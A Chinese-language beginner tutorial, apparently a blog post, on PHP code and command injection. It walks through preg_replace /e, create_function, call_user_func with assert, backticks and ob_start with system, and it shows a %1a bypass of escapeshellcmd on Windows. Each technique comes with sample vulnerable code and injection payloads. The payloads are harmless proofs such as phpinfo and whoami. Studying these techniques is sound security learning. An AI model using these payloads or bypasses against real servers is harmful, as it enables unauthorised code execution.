RCE php代码命令注入#适合小白快速入手

文章参考大佬:https://www.freebuf.com/column/166385.html

一、preg_replace()
 

知识前提:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

函数作用:搜索subject中匹配pattern的部分, 以replacement进行替换。

其中,在错误/异常中提及:

PHP 5.5.0 起, 传入 "\e" 修饰符的时候,会产生一个 E_DEPRECATED 错误; PHP 7.0.0 起,会产生 E_WARNING 错误,同时 "\e" 也无法起效。

所以正是这个修饰符,让我们可以进行命令注入

但需要知道的是:

7.0.0 不再支持 /e修饰符。 请用 preg_replace_callback() 代替。

5.5.0 /e 修饰符已经被弃用了。使用 preg_replace_callback() 代替。参见文档中 PREG_REPLACE_EVAL 关于安全风险的更多信息。

在实践的时候需要看清php版本,在7.0的版本以后就不再适用!

!!!在使用的时候是 /e,和使用 \e 所引起的报错不一样!!!

preg_replace("/test/e",phpinfo(),"jutst test");

此时phpinfo()将会被执行

原理细节:使用/e修饰符,preg_replace会将 replacement 参数当作 PHP代码执行
其中,与subject里的参数半毛钱关系都没有,只要检测到匹配且有/e出现,那么参数 replacement 里的东西就会被当作 PHP代码执行

二、 create_function()

实例,直接进入理解

<?php

error_reporting(0);

$sort_by = $_GET['sort_by'];

$sorter = 'strnatcasecmp';

$databases=array('1234','4321');

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';

usort($databases, create_function('$a, $b', $sort_function));

?>

首先构造出函数原型

function test($a,$b)

{

return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);

}

根据这个,我们可以构造payload:

?sort_by="]);}phpinfo();/*

传入后得到:

return 1 * strnatcasecmp($a[""]);}phpinfo();/*"], $b[""]);}phpinfo();/*"]);

所以此时的函数原型:

function test($a,$b)

{

return 1 * strnatcasecmp($a[""]);}phpinfo();/*"], $b[""]);}phpinfo();/*"]);

}

很显然,经过`/*`注释符

我们剩下的只有

function test($a,$b)

{

return 1 * strnatcasecmp($a[""]);

}

phpinfo();

成功的进行了代码注入!

三、call_user_func()/call_user_func_array()/array_map()

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

函数作用:第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数
这里介绍call_user_func()

我们举个例子

<?php

$filter= 'assert';

$value = 'phpinfo()';

call_user_func($filter, $value);

?>


$filter = 'assert';:定义了一个名为 $filter 的变量,并将字符串 'assert' 赋值给它。assert 是 PHP 中的一个函数,其作用是检查一个表达式是否为 false,如果是则发出警告(在某些配置下还可能导致程序终止)。不过,在这种恶意使用场景中,它会被滥用来执行任意代码。
$value = 'phpinfo();';:定义了一个名为 $value 的变量,将字符串 'phpinfo();' 赋值给它。phpinfo() 是 PHP 中的一个函数,用于输出 PHP 服务器的相关信息,包括 PHP 版本、配置信息、服务器信息等。
函数调用:
call_user_func($filter, $value);:call_user_func 是 PHP 中的一个函数,它可以调用一个指定的函数,并传递参数。在这里,$filter 的值为 'assert',$value 的值为 'phpinfo();',所以实际上执行的是 assert('phpinfo();')。assert 函数会将传递给它的字符串作为 PHP 代码进行解析和执行,因此 phpinfo() 函数会被执行,输出 PHP 的相关信息。


四、反引号

1. 知识前提
反引用的本质就是在操作系统执行该命令。此时可以造成命令注入等各种危害
(简而言之就是,会将反引号里的内容扔到cmd里执行的意思)
下面是一个简单示例:
php

<?php
$result = `ls -l`;
echo $result;
?>

在上述代码中,ls -l 被反引号括起来,PHP 会把它当作系统命令执行,将当前目录下文件和文件夹的详细信息返回给 $result 变量,最后将结果输出。

五、ob_start()

直接上实例:

php > $sky = 'system';

php > ob_start($sky);

php > echo 'ls -al';

php > ob_end_flush();

-rw-r--r-- 1 root root    0 Mar 12 06:46 tets

下面结合你给出的代码示例,运用比喻的方式详细解释 `ob_start()` 函数的使用。

### 形象比喻:餐厅的出餐流程
把 PHP 脚本的执行想象成一家餐厅的运营过程。正常情况下,餐厅做好一道菜后就会马上端给顾客(这就如同脚本中执行 `echo` 等输出语句时,内容会直接输出到客户端)。不过,启用输出缓冲就像是餐厅设置了一个专门的出餐准备区。

### 代码分步解释
#### 1. 定义回调函数变量
```php
php > $sky = 'system';
```
在这个餐厅场景中,`$sky` 就像是餐厅的一位特殊厨师。`system` 是 PHP 里用于执行系统命令的函数,所以这里的这位特殊厨师的职责就是执行系统命令。

#### 2. 开启输出缓冲
```php
php > ob_start($sky);
```
调用 `ob_start($sky)` 就相当于餐厅开启了出餐准备区,并且指定这位特殊厨师(`$sky`)负责处理准备区里的菜品。从这之后,餐厅做好的菜不会直接端给顾客,而是先放到出餐准备区。

#### 3. 输出内容到缓冲区
```php
php > echo 'ls -al';
```
`echo 'ls -al'` 就好比餐厅做出了一道名为 `ls -al` 的“菜”。由于已经开启了输出缓冲,这道“菜”不会直接端给顾客,而是被送到了出餐准备区。

#### 4. 输出并清空缓冲区
```php
php > ob_end_flush();
```
`ob_end_flush()` 相当于餐厅发出指令,让出餐准备区开始处理菜品。这时,那位特殊厨师(`$sky`,也就是 `system` 函数)会把出餐准备区里的“菜”(`ls -al`)当作系统命令来执行。执行完成后,将执行结果(就像做好的新菜品)端给顾客(也就是输出到客户端),同时清空出餐准备区。

### 对比正常输出与输出缓冲的差异
```php
php > echo 'ls -al';
```
在没有开启输出缓冲的情况下,`echo 'ls -al'` 就像餐厅直接把写着 `ls -al` 的菜单递给顾客,而不是执行这个命令并给出结果。所以,这里只是简单地显示了 `ls -al` 这个字符串,并不会执行系统命令。

总结:
`ob_start()` 函数就像是餐厅的出餐准备区开关,通过指定回调函数(特殊厨师),可以对原本要直接输出的内容进行处理。在这个例子中,利用 `system` 函数作为回调函数,将缓冲区中的内容当作系统命令执行,从而实现了命令执行的效果。不过要注意,在实际开发中这样使用存在很大的安全风险,因为如果缓冲区内容可被用户控制,攻击者可能会通过构造恶意命令来执行任意系统操作。 

六、exec()/shell_exec()/escapeshellcmd()/passthru()

其中escapeshellcmd() 函数
escapeshellcmd() 函数的主要作用是对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。其目的是确保用户输入的数据在传送到 exec()、system() 函数或者执行操作符之前被安全处理,避免出现命令注入漏洞。(就是这个函数做了一个安全过滤,使代码变得更加安全,,碰见是得想办法绕过,而不是使用)

测试脚本:

<?php
    $test = 'dir '.$_GET['sky'];
    $escaped_test = escapeshellcmd($test);
    var_dump($escaped_test);
    file_put_contents('out.bat',$escaped_test);
    system('out.bat');
?>
 


尝试绕过过滤:
当访问 http://localhost/web/123.php?sky=../ | whoami 时,escapeshellcmd() 会对其中的管道符 | 进行转义,转义后的结果为 dir ../ ^| whoami。在 Windows 命令行中,^ 是转义字符,所以 ^| 会被当作普通字符处理,无法实现命令的管道执行。
 利用 %1a 绕过过滤
当使用 ../ %1a whoami 作为输入时,在 Windows 环境下,%1a 是一个特殊的转义序列。在批处理文件中,% 通常用于表示变量,但 %1a 并不是一个有效的变量引用。当批处理文件执行时,%1a 会被解释为换行符(类似于 \n)。
这样,out.bat 文件中的内容就相当于:
dir ../
whoami
从而实现了绕过 escapeshellcmd() 过滤,执行了额外的命令。

但是需要注意的是版本问题

5.6.0 The default value for the encoding parameter was changed to be the value of the default_charset configuration option.

5.4.43, 5.5.27, 5.6.11  感叹号会被空格所替换。

5.6版本后可能不再适用,需要注意
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值